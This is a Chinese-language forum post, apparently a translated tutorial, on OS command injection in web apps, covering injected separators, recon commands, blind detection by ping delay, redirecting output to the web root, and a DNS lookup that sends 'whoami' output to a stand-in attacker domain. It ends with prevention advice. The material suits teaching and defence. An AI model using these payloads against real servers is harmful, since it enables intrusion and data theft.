系统命令注入

1093 3
HK.JH 2022-2-13 23:35:47 来自手机 | 显示全部楼层 |阅读模式
1. 什么是OS命令注入?
操作系统命令注入(也称为shell注入)是一种web安全漏洞,它允许攻击者在运行应用程序的服务器上执行任意操作系统(OS)命令,通常会完全危及应用程序及其所有数据。通常,攻击者可以利用OS命令注入漏洞来破坏托管基础设施的其他部分,利用信任关系将攻击转向组织内的其他系统。

2. 任意命令执行
考虑一个购物应用程序,它允许用户查看某一商品是否在特定商店有库存。这个信息是通过URL访问的:

https://insecure-website.com/stockStatus?productID=381&storeID=29
要提供库存信息,应用程序必须查询各种系统。由于历史原因,该功能是通过使用产品和存储id作为参数调用shell命令来实现的:

stockreport.pl 381 29
该命令输出指定商品的库存状态,并返回给用户。

由于应用程序没有实现对OS命令注入的防御,攻击者可以提交以下输入来执行任意命令:

& echo aiwefwlguh &
如果这个输入是在productID参数中提交的,那么应用程序执行的命令是:

stockreport.pl & echo aiwefwlguh & 29
echo命令只是在输出中回显所提供的字符串,这是测试某些类型的OS命令注入的有用方法。&字符是shell命令分隔符,因此执行的实际上是三个不同的命令。因此,返回给用户的输出为:

Error - productID was not provided
aiwefwlguh
29: command not found
输出的三行代码说明:

最初的stockreport.pl命令在没有预期参数的情况下执行,因此返回了一条错误消息。

执行了注入的echo命令,并在输出中回显所提供的字符串。

原始参数29是作为命令执行的,这导致了一个错误。

将附加的命令分隔符&放在注入命令之后通常很有用,因为它将注入命令与注入点后面的命令分隔开来。这样就减少了后面阻止被注入命令执行的可能性。

3. 有用的命令
当你识别了操作系统命令注入漏洞时,执行一些初始命令以获取系统信息通常是有用的。下面是一些在Linux和Windows平台上有用的命令的总结:

命令目的        Linux        Windows
当前用户名        whoami        whoami
操作系统类型        uname -a        ver
网络配置        ifconfig        ipconfig /all
网络连接        netstat -an        netstat -an
运行进程        ps -ef        tasklist
4. blind系统命令注入漏洞
许多操作系统命令注入的实例都是blind漏洞。这意味着应用程序不会在其HTTP响应中返回命令的输出。blind漏洞仍然可以利用,但需要不同的技术。

考虑一个让用户提交反馈的网站。用户输入他们的电子邮件地址和反馈信息。然后,服务器端应用程序生成一封包含反馈信息的电子邮件给站点管理员。为此,它调用带有提交的详细信息的邮件程序。例如:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com
邮件命令的输出(如果有的话)没有在应用程序的响应中返回,因此使用echo payload是无效的。在这种情况下,你可以使用各种其他技术来检测和利用漏洞。

4.1 使用时间延迟检测blind操作系统命令注入
你可以使用一个注入的命令,它将触发一个时间延迟,允许你根据应用程序响应的时间来确认命令已执行。ping命令是一种有效的方法,因为它允许你指定要发送的ICMP报文的数量,以及运行该命令所花费的时间:

& ping -c 10 127.0.0.1 &
该命令将导致应用程序ping其环回网络适配器10秒。

4.2 通过重定向输出来利用blind操作系统命令注入
你可以将注入命令的输出重定向到web根目录中的文件中,然后使用浏览器检索该文件。例如,如果应用程序从文件系统位置/var/www/static提供静态资源,那么你可以提交以下输入:

& whoami > /var/www/static/whoami.txt &
>字符将whoami命令的输出发送到指定的文件。然后可以使用浏览器获取https://vulnerable-website.com/whoami.txt来检索文件,并查看注入命令的输出。

4.3 利用带外(OAST)技术进行blind操作系统命令注入
你可以使用OAST技术,注入一个命令触发与你控制的系统的带外网络交互。例如:

& nslookup kgji2ohoyw.web-attacker.com &
该payload使用nslookup命令对指定的域名进行DNS查找。攻击者可以监视正在发生的指定查找,从而检测命令是否被成功注入。

带外通道还提供了一种简单的方法来提取注入命令的输出:

& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
这将导致DNS查找攻击者的域名包含whoami命令的结果:

wwwuser.kgji2ohoyw.web-attacker.com
5. 注入操作系统命令的方法
可以使用各种shell通配符来执行操作系统命令注入攻击。

许多字符可以作为命令分隔符,允许命令链接在一起。下面的命令分隔符可以在Windows和基于unix的系统上使用:

&

&&

|

||

以下命令分隔符只能在基于unix的系统上使用:

;

换行符(0x0a or \n)         

在基于unix的系统上,还可以使用倒引号或美元符在原始命令中执行注入命令的内联执行:

` injected command '

$( injected command )            

请注意,不同的shell通配符具有微妙的不同行为,这可能会影响它们是否在某些情况下工作,以及它们是否允许命令输出的带内检索或仅用于blind利用。

有时,你控制的输入出现在原始命令的引号中。在这种情况下,你需要在使用合适的shell通配符注入新命令之前终止引用的上下文(使用"或')。

6. 如何防止操作系统命令注入攻击
到目前为止,防止操作系统命令注入漏洞的最有效方法是永远不要从应用层代码调用操作系统命令。在几乎所有情况下,都有使用更安全的平台api实现所需功能的替代方法。

如果认为不可避免地使用用户提供的输入调用操作系统命令,则必须执行强输入验证。一些有效验证的例子包括:

针对允许值的白名单进行验证。

验证输入是否为数字。

验证输入仅包含字母数字字符,不包含其他语法或空格。

不要试图通过转义shell通配符来清理输入。在实践中,这太容易出错,容易被熟练的攻击者绕过。
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

中国红客联盟公众号

联系站长QQ:5520533

admin@chnhonker.com
Copyright © 2001-2026 Discuz Team. Powered by Discuz! X3.5 ( 粤ICP备13060014号 )|天天打卡 本站已运行